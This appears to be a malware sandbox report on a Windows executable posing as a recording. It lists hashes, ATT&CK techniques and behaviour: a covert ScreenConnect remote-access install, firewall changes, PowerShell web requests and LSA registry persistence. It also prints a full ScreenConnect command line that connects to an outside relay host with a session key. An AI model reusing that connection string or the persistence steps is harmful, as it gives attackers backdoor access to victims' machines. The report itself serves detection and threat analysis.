80e227b3bb28d200b226ed8852e502560823212f932bd31467c7086f2c52916e

Analysis

max time kernel
150s
max time network
157s
platform
windows10-2004_x64
resource
win10v2004-20260130-en
resource tags

arch:x64arch:x86image:win10v2004-20260130-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
08/05/2026, 00:23

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Record_2026-05-07_223949_3833.exe
Size 15.9MB
Sample260508-apla4aft7m
SHA256 80e227b3bb28d200b226ed8852e502560823212f932bd31467c7086f2c52916e
MD5 48620b0328ab600005a48659f7f52afe
SHA1 c2eadd01546c57932d94cb99106b99d04a99a747
SHA512 1fbd1f51dc09fbfb5df928faa98ab885f3a00816135d56003f3276a8dbcb6a72cb4739eaf7e49e41a370ca1e46d09dded2a2aa061504846d879b1bd8eb1985be
SSDEEP 393216:wJrPSIwPrxgU5+0QXcZBae/2TonNiY/x10CFDN3cccQrgeQToFFWJA:groPVk0GMb/Ji4x1NDa88JA
TLSH
T1DDF6332BF65A04FAD877D538C99542A3FB71B156032962D707A48C361F7A3E5223B30B
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

backdoor defense_evasion discovery execution persistence privilege_escalation rat revoked_codesign

Malware Config

Signatures

Badlisted process makes network request 6 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
45	1184	powershell.exe
57	5996	powershell.exe
64	1744	powershell.exe
69	3884	powershell.exe
70	3456	powershell.exe
72	4144	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
1184	powershell.exe
5996	powershell.exe
1744	powershell.exe
3884	powershell.exe
3456	powershell.exe
4144	powershell.exe

Modifies Windows Firewall 2 TTPs 10 IoCs

defense_evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
2972	netsh.exe
5212	netsh.exe
3704	netsh.exe
1032	netsh.exe
4576	netsh.exe
4356	netsh.exe
3740	netsh.exe
6028	netsh.exe
6024	netsh.exe
1992	netsh.exe

Sets service image path in registry 3 TTPs 1 IoCs

This determines the executable launched when a service starts. It can be used to establish persistence.

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Windows Service

T1543.003

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\ScreenConnect Client (42b3d3622ec4bf2d)\ImagePath = "\"C:\\Program Files (x86)\\ScreenConnect Client (42b3d3622ec4bf2d)\\ScreenConnect.ClientService.exe\" \"?e=Access&y=Guest&h=connect.nexusa.co&p=8041&s=c139aac9-1e68-4ecd-ada1-51e7a4620475&k=BgIAAACkAABSU0ExAAgAAAEAAQDB92uTnI%2bcdTE6%2bkFW3HRdjfTzCOCuPgZszhXX8LhtKpgD%2b8txTivuqSdGoQYKgYqYfGCkTAQOvdNzcynB5f%2fk%2bTBpWXBNHGNwU9ZbQ3o5szCaVOibXX%2btxjLuxC4P8ZpgNbwh0OEIxJJENonNOTJKdpjABSIXIgdqg8tUASAydZLMfK97n367wikytt1Pkma09lgmlZ%2bnVdv7NZphG4EXg28lA9j87pKYtSpQcUhvpXKRRzAHlVTJ4DyXcv7%2f5Cv4TW7i%2bvUA6uGEj1wrSPZApwRFeyT5YxLLto0vFL3sVDiaGoeSzFm7IHm5%2bJkDOzcZLcb41Af9knw3p2W80t2i&v=AQAAANCMnd8BFdERjHoAwE%2fCl%2bsBAAAAUAGKWZ3ZMEKSLgjT8nN6RQAAAAACAAAAAAAQZgAAAAEAACAAAADsz0%2biWEbRDtfzUQK6lbuKHYefkU8ZII6jWD7Xd2fXsAAAAAAOgAAAAAIAACAAAACJl%2bjsGO2Ma1WYgTmZbeBGGq3rmRn4quL%2bM1DWf1eRpKAEAABTQxsBuwXgZMvU5y1D1ulMqv17K5eoXw72FvJDcYfUBcr6gRGHeJc2oAnjeS%2fjSXbbfwzrSP9UixBKQYiOnuQgHgiik26eI%2ffY%2fe2KU3S%2bnT%2bwq7zGjTutIkG%2bQK0th3Mn8DtzsQp01lLqC6iXINzy%2f5RTS%2fPqM7D1PV3y01Mzg4GDKm1NmdewTnB4jgPMrCdCHBzY5O2OQnCU7%2fF1Xl6mZr6JCmxpXPytvRce0BxAOgIrRwsrjy1nHVPdGqyPdm1bkLMWqVJGE7tSjwSg2KR1x4uG1YTQu0eE50rMSE9gbedR9LT9thyQPt9VazsXJOCY0mjhnYiXFcVctEl%2bv7ECpiQBOUZ2RtnjsVahJ14o29hLUgeao6tqknccx9B7ZZoQWNQhIQFS897xpdoRRyBVLdvD98Gn3WsradMMc46V32ihvJ0ZHnOCtXZ%2bUfhF%2bpL8DuEQRR84625kFVxWUCx4J%2fhj8GLKDTHNKhis880NDd%2bgpaEChu%2f7YABJC5I3ctoqaqzfcPT2oIkfiia6IK2KTkPEde7RDlY8SrXenpEWh84stBkMn2jZaXPh59jNGFxbYC8DirsYQcq%2fn49oBU%2b%2fxDxAVXGvFm8GJAWQO2bfJ%2fHYPb35%2bKSJ7jOExXy6xGt%2fz59pAhwBJc9K3P9%2f7Vr8MRrx0DfqAKDE%2fjcmLNbKb8dEA%2fIGT%2fdsfOqdcwr4DWExE1iJ1kAtcHQKCILrID9ldPJEEM9NVzq8j9B4AokiWiCnQHBI4rtQDwWkiOZ2gC9Tt8%2fY6oKRiM2XPfZ4ue6mE%2feSn7D7oE9%2fLeJGlEYVuxA7sFr1HSvYv0TzgYQ596VnIjhqlahUvNoIz6bjorWn9mqz5rRcHoXcZO80A2jJ5W279lUD%2bNRmxIkBuhRRaEt%2fFxKBhiG%2bvoTRQLzimyyk1nNZn387CinibliG1ui1vaErwikE%2fJQCF59oyEPCLF1ew5KjF0uYKg2XL6OcREDbVPan9VUDWTA%2bfUDqd0BuCbgXJMiJqDdrbBZS3dxME4kaeU24piKTPSW1Mh12rr6VI6pJ8I%2fVMTZOvsrVPSKzLpK%2fjHgZ1I4D%2bNGz3UCgmVOsacz64tQ0L7AmcHYv5RsX5XGH4R0z5nbnIJKRl4DGIWO2Mksof%2f9%2ffHQvbsd8S1g8KOJBdNbGVyA8e4kNuOi8E8RqRrHduqmKd%2bmsJbyPKr41OaFXk%2fXU4vEk4YEHN2RZ4FwisWqJaGz%2fMtQfkhKYfOzmAf%2fUFFKY4AtaoRylya0E2PguT%2bAnu77BKWmOHColIcqqui6Iqv4YK0IXQg6Tw72a8RzDdJ0H6fUMvo7tnY4a8Ei3EwH4ddKgApJoIMQydDr%2b0Kk5tQSSK5Zn5U7C0E3aLgBGlko5np3dIuR995Q4I2dMDH43MMhZh22s58xiaG8gB84Xmfqq0YlqXThCkX%2fQDewelUslkaTntAqmuRi%2bcRM%2bScfBVof0Ofjge5Z5%2b%2bOeQJRzWEb9jGH1hwOl9yLQQEnsnAvNh1%2b1cc%2bzse4eW9JknblxgiLk9ku5QSqM8nmVQEiP0Ukq%2faxb44w6WsZSaov96STd27tcydTb3EAAAACuQ7EyuELyoXwEY3IN4BOHoVHyPKq94TnpwheLY1poI1Z8aJd81cU9qG9286HYOxaONF58Z36JSi07TG4acoTF&c=new&c=&c=&c=&c=&c=&c=&c=\""	ScreenConnect.ClientService.exe

Signed with revoked ConnectWise certificate 1 IoCs

Binary is signed using a ConnectWise certificate revoked for key compromise.

revoked_codesign

resource	yara_rule
behavioral1/memory/5112-1283-0x0000000004C10000-0x0000000004CE2000-memory.dmp	revoked_cert_connectwise

ConnectWise ScreenConnect remote access tool
ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.
backdoor rat
Event Triggered Execution: Component Object Model Hijacking 1 TTPs
Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.
persistence privilege_escalation

Component Object Model Hijacking
T1546.015

Executes dropped EXE 30 IoCs

pid	Process
2188	unpack200.exe
5348	unpack200.exe
5624	unpack200.exe
2652	unpack200.exe
3376	unpack200.exe
1504	unpack200.exe
5328	unpack200.exe
5720	windowslauncher.exe
4172	unpack200.exe
4080	unpack200.exe
3312	Remote AccessLauncher.exe
3020	Remote Access.exe
3480	SimpleService.exe
5308	SimpleService.exe
4352	SimpleService.exe
704	SimpleGatewayService.exe
5772	Remote Access.exe
4996	session_win.exe
4900	Remote Access Monitoring.exe
4476	session_win.exe
4640	Remote Access.exe
5112	ScreenConnect.ClientService.exe
4228	ScreenConnect.WindowsClient.exe
2456	ScreenConnect.WindowsClient.exe
5212	session_win.exe
5776	elev_win.exe
5796	session_win.exe
5972	elev_win.exe
3712	session_win.exe
3524	elev_win.exe

Loads dropped DLL 64 IoCs

pid	Process
2188	unpack200.exe
5348	unpack200.exe
5624	unpack200.exe
2652	unpack200.exe
3376	unpack200.exe
1504	unpack200.exe
5328	unpack200.exe
4172	unpack200.exe
4080	unpack200.exe
4616	Record_2026-05-07_223949_3833.exe
4616	Record_2026-05-07_223949_3833.exe
4616	Record_2026-05-07_223949_3833.exe
4616	Record_2026-05-07_223949_3833.exe
4616	Record_2026-05-07_223949_3833.exe
4616	Record_2026-05-07_223949_3833.exe
4616	Record_2026-05-07_223949_3833.exe
4616	Record_2026-05-07_223949_3833.exe
4616	Record_2026-05-07_223949_3833.exe
3312	Remote AccessLauncher.exe
3312	Remote AccessLauncher.exe
3312	Remote AccessLauncher.exe
3312	Remote AccessLauncher.exe
3312	Remote AccessLauncher.exe
3312	Remote AccessLauncher.exe
3312	Remote AccessLauncher.exe
3312	Remote AccessLauncher.exe
3020	Remote Access.exe
3020	Remote Access.exe
3020	Remote Access.exe
3020	Remote Access.exe
3020	Remote Access.exe
3020	Remote Access.exe
3020	Remote Access.exe
3020	Remote Access.exe
3020	Remote Access.exe
5772	Remote Access.exe
5772	Remote Access.exe
5772	Remote Access.exe
5772	Remote Access.exe
5772	Remote Access.exe
5772	Remote Access.exe
5772	Remote Access.exe
5772	Remote Access.exe
5772	Remote Access.exe
5772	Remote Access.exe
5772	Remote Access.exe
5772	Remote Access.exe
5772	Remote Access.exe
5772	Remote Access.exe
4900	Remote Access Monitoring.exe
4900	Remote Access Monitoring.exe
4900	Remote Access Monitoring.exe
4900	Remote Access Monitoring.exe
4900	Remote Access Monitoring.exe
4900	Remote Access Monitoring.exe
4900	Remote Access Monitoring.exe
4900	Remote Access Monitoring.exe
4640	Remote Access.exe
4640	Remote Access.exe
4640	Remote Access.exe
4640	Remote Access.exe
4640	Remote Access.exe
4640	Remote Access.exe
4640	Remote Access.exe

Enumerates connected drives 3 TTPs 23 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe

Network Share Discovery 1 TTPs
Attempt to gather information on host network.
discovery

Network Share Discovery
T1135

Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

Suspicious Windows Authentication Registry Modification.

persistence privilege_escalation

Authentication Package

T1547.002

description	ioc	Process
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Lsa\Authentication Packages = 6d007300760031005f003000000043003a005c00500072006f006700720061006d002000460069006c00650073002000280078003800360029005c00530063007200650065006e0043006f006e006e00650063007400200043006c00690065006e00740020002800340032006200330064003300360032003200650063003400620066003200640029005c00530063007200650065006e0043006f006e006e006500630074002e00570069006e0064006f0077007300410075007400680065006e007400690063006100740069006f006e005000610063006b006100670065002e0064006c006c0000000000	msiexec.exe

Drops file in System32 directory 11 IoCs

description	ioc	Process
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\ScreenConnect.WindowsClient.exe.log	ScreenConnect.WindowsClient.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache	powershell.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (42b3d3622ec4bf2d)\0f2divrv.tmp	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (42b3d3622ec4bf2d)\0f2divrv.newcfg	ScreenConnect.ClientService.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\rundll32.exe.log	rundll32.exe

Drops file in Program Files directory 19 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\ScreenConnect Client (42b3d3622ec4bf2d)\ScreenConnect.ClientService.exe	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (42b3d3622ec4bf2d)\ScreenConnect.ClientService.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (42b3d3622ec4bf2d)\ScreenConnect.Windows.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (42b3d3622ec4bf2d)\ScreenConnect.WindowsClient.exe.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (42b3d3622ec4bf2d)\ScreenConnect.WindowsFileManager.exe	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (42b3d3622ec4bf2d)\system.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (42b3d3622ec4bf2d)\ScreenConnect.WindowsAuthenticationPackage.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (42b3d3622ec4bf2d)\ScreenConnect.WindowsBackstageShell.exe	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (42b3d3622ec4bf2d)\ScreenConnect.WindowsCredentialProvider.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (42b3d3622ec4bf2d)\app.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (42b3d3622ec4bf2d)\ScreenConnect.Core.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (42b3d3622ec4bf2d)\ScreenConnect.WindowsBackstageShell.exe.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (42b3d3622ec4bf2d)\ScreenConnect.WindowsClient.exe	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (42b3d3622ec4bf2d)\ScreenConnect.WindowsFileManager.exe.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (42b3d3622ec4bf2d)\Client.Override.en-US.resources	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (42b3d3622ec4bf2d)\Client.Override.resources	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (42b3d3622ec4bf2d)\Client.resources	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (42b3d3622ec4bf2d)\ScreenConnect.Client.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (42b3d3622ec4bf2d)\Client.en-US.resources	msiexec.exe

Drops file in Windows directory 64 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Installer\MSIB32F.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI2E7D.tmp-\CustomAction.config	rundll32.exe
File opened for modification	C:\Windows\Installer\MSI917.tmp-\ScreenConnect.InstallerActions.dll	rundll32.exe
File opened for modification	C:\Windows\Installer\{4BB031E3-DA22-C2E9-B66B-65F1DBC1ED9F}\DefaultIcon	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI2E7D.tmp-\ScreenConnect.Core.dll	rundll32.exe
File opened for modification	C:\Windows\Installer\MSICB8E.tmp-\Microsoft.Deployment.WindowsInstaller.dll	rundll32.exe
File opened for modification	C:\Windows\Installer\MSICB8E.tmp-\Microsoft.Deployment.Compression.Cab.dll	rundll32.exe
File opened for modification	C:\Windows\Installer\MSIB98.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIAD52.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIAD52.tmp-\ScreenConnect.InstallerActions.dll	rundll32.exe
File opened for modification	C:\Windows\Installer\MSI2E7D.tmp-\Microsoft.Deployment.WindowsInstaller.Package.dll	rundll32.exe
File opened for modification	C:\Windows\Installer\MSI96A2.tmp	msiexec.exe
File opened for modification	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIAD52.tmp-\CustomAction.config	rundll32.exe
File created	C:\Windows\Installer\SourceHash{4BB031E3-DA22-C2E9-B66B-65F1DBC1ED9F}	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI2E7D.tmp-\Microsoft.Deployment.WindowsInstaller.dll	rundll32.exe
File opened for modification	C:\Windows\Installer\MSICB8E.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIAD52.tmp-\ScreenConnect.Core.dll	rundll32.exe
File opened for modification	C:\Windows\Installer\MSIAD52.tmp-\Microsoft.Deployment.Compression.dll	rundll32.exe
File opened for modification	C:\Windows\Installer\MSI917.tmp-\Microsoft.Deployment.WindowsInstaller.dll	rundll32.exe
File created	C:\Windows\Installer\wix{4BB031E3-DA22-C2E9-B66B-65F1DBC1ED9F}.SchedServiceConfig.rmi	MsiExec.exe
File opened for modification	C:\Windows\Installer\MSICB8E.tmp-\ScreenConnect.Windows.dll	rundll32.exe
File opened for modification	C:\Windows\Installer\MSI2E7D.tmp-\ScreenConnect.InstallerActions.dll	rundll32.exe
File opened for modification	C:\Windows\Installer\MSI2E7D.tmp-\Microsoft.Deployment.Compression.Cab.dll	rundll32.exe
File opened for modification	C:\Windows\Installer\MSI93F0.tmp-\Microsoft.Deployment.WindowsInstaller.dll	rundll32.exe
File opened for modification	C:\Windows\Installer\MSI93F0.tmp-\Microsoft.Deployment.Compression.dll	rundll32.exe
File opened for modification	C:\Windows\Installer\MSI9662.tmp	msiexec.exe
File created	C:\Windows\Installer\inprogressinstallinfo.ipi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI93F0.tmp-\ScreenConnect.Core.dll	rundll32.exe
File opened for modification	C:\Windows\Installer\MSI917.tmp-\CustomAction.config	rundll32.exe
File created	C:\Windows\Installer\{4BB031E3-DA22-C2E9-B66B-65F1DBC1ED9F}\DefaultIcon	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI2FE5.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSICB8E.tmp-\ScreenConnect.Core.dll	rundll32.exe
File opened for modification	C:\Windows\Installer\MSICB8E.tmp-\CustomAction.config	rundll32.exe
File opened for modification	C:\Windows\Installer\MSIAD52.tmp-\Microsoft.Deployment.WindowsInstaller.dll	rundll32.exe
File opened for modification	C:\Windows\Installer\	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIB45A.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI93F0.tmp-\Microsoft.Deployment.WindowsInstaller.Package.dll	rundll32.exe
File opened for modification	C:\Windows\Installer\MSI93F0.tmp-\Microsoft.Deployment.Compression.Cab.dll	rundll32.exe
File opened for modification	C:\Windows\Installer\MSICB8E.tmp-\Microsoft.Deployment.WindowsInstaller.Package.dll	rundll32.exe
File opened for modification	C:\Windows\Installer\MSI917.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI917.tmp-\ScreenConnect.Core.dll	rundll32.exe
File opened for modification	C:\Windows\Installer\MSI3082.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI917.tmp-\Microsoft.Deployment.WindowsInstaller.Package.dll	rundll32.exe
File opened for modification	C:\Windows\Installer\MSI917.tmp-\ScreenConnect.Windows.dll	rundll32.exe
File opened for modification	C:\Windows\Installer\e58ac1a.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSICDA2.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSICDE1.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI917.tmp-\Microsoft.Deployment.Compression.dll	rundll32.exe
File created	C:\Windows\Installer\e58ac1a.msi	msiexec.exe
File created	C:\Windows\Installer\e58ac1e.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI93F0.tmp-\ScreenConnect.InstallerActions.dll	rundll32.exe
File opened for modification	C:\Windows\Installer\MSICB8E.tmp-\Microsoft.Deployment.Compression.dll	rundll32.exe
File opened for modification	C:\Windows\Installer\MSI917.tmp-\Microsoft.Deployment.Compression.Cab.dll	rundll32.exe
File opened for modification	C:\Windows\Installer\MSIBD8.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI2E7D.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI93F0.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI93F0.tmp-\ScreenConnect.Windows.dll	rundll32.exe
File opened for modification	C:\Windows\Installer\MSICB8E.tmp-\ScreenConnect.InstallerActions.dll	rundll32.exe
File opened for modification	C:\Windows\Installer\MSIAD52.tmp-\ScreenConnect.Windows.dll	rundll32.exe
File opened for modification	C:\Windows\Installer\MSIB3AD.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI93F0.tmp-\CustomAction.config	rundll32.exe
File opened for modification	C:\Windows\Installer\MSIAD52.tmp-\Microsoft.Deployment.Compression.Cab.dll	rundll32.exe
File opened for modification	C:\Windows\Installer\MSI2E7D.tmp-\ScreenConnect.Windows.dll	rundll32.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 60 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

System Location Discovery: System Language Discovery 1 TTPs 20 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	SimpleService.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	SimpleGatewayService.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	session_win.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	session_win.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rundll32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
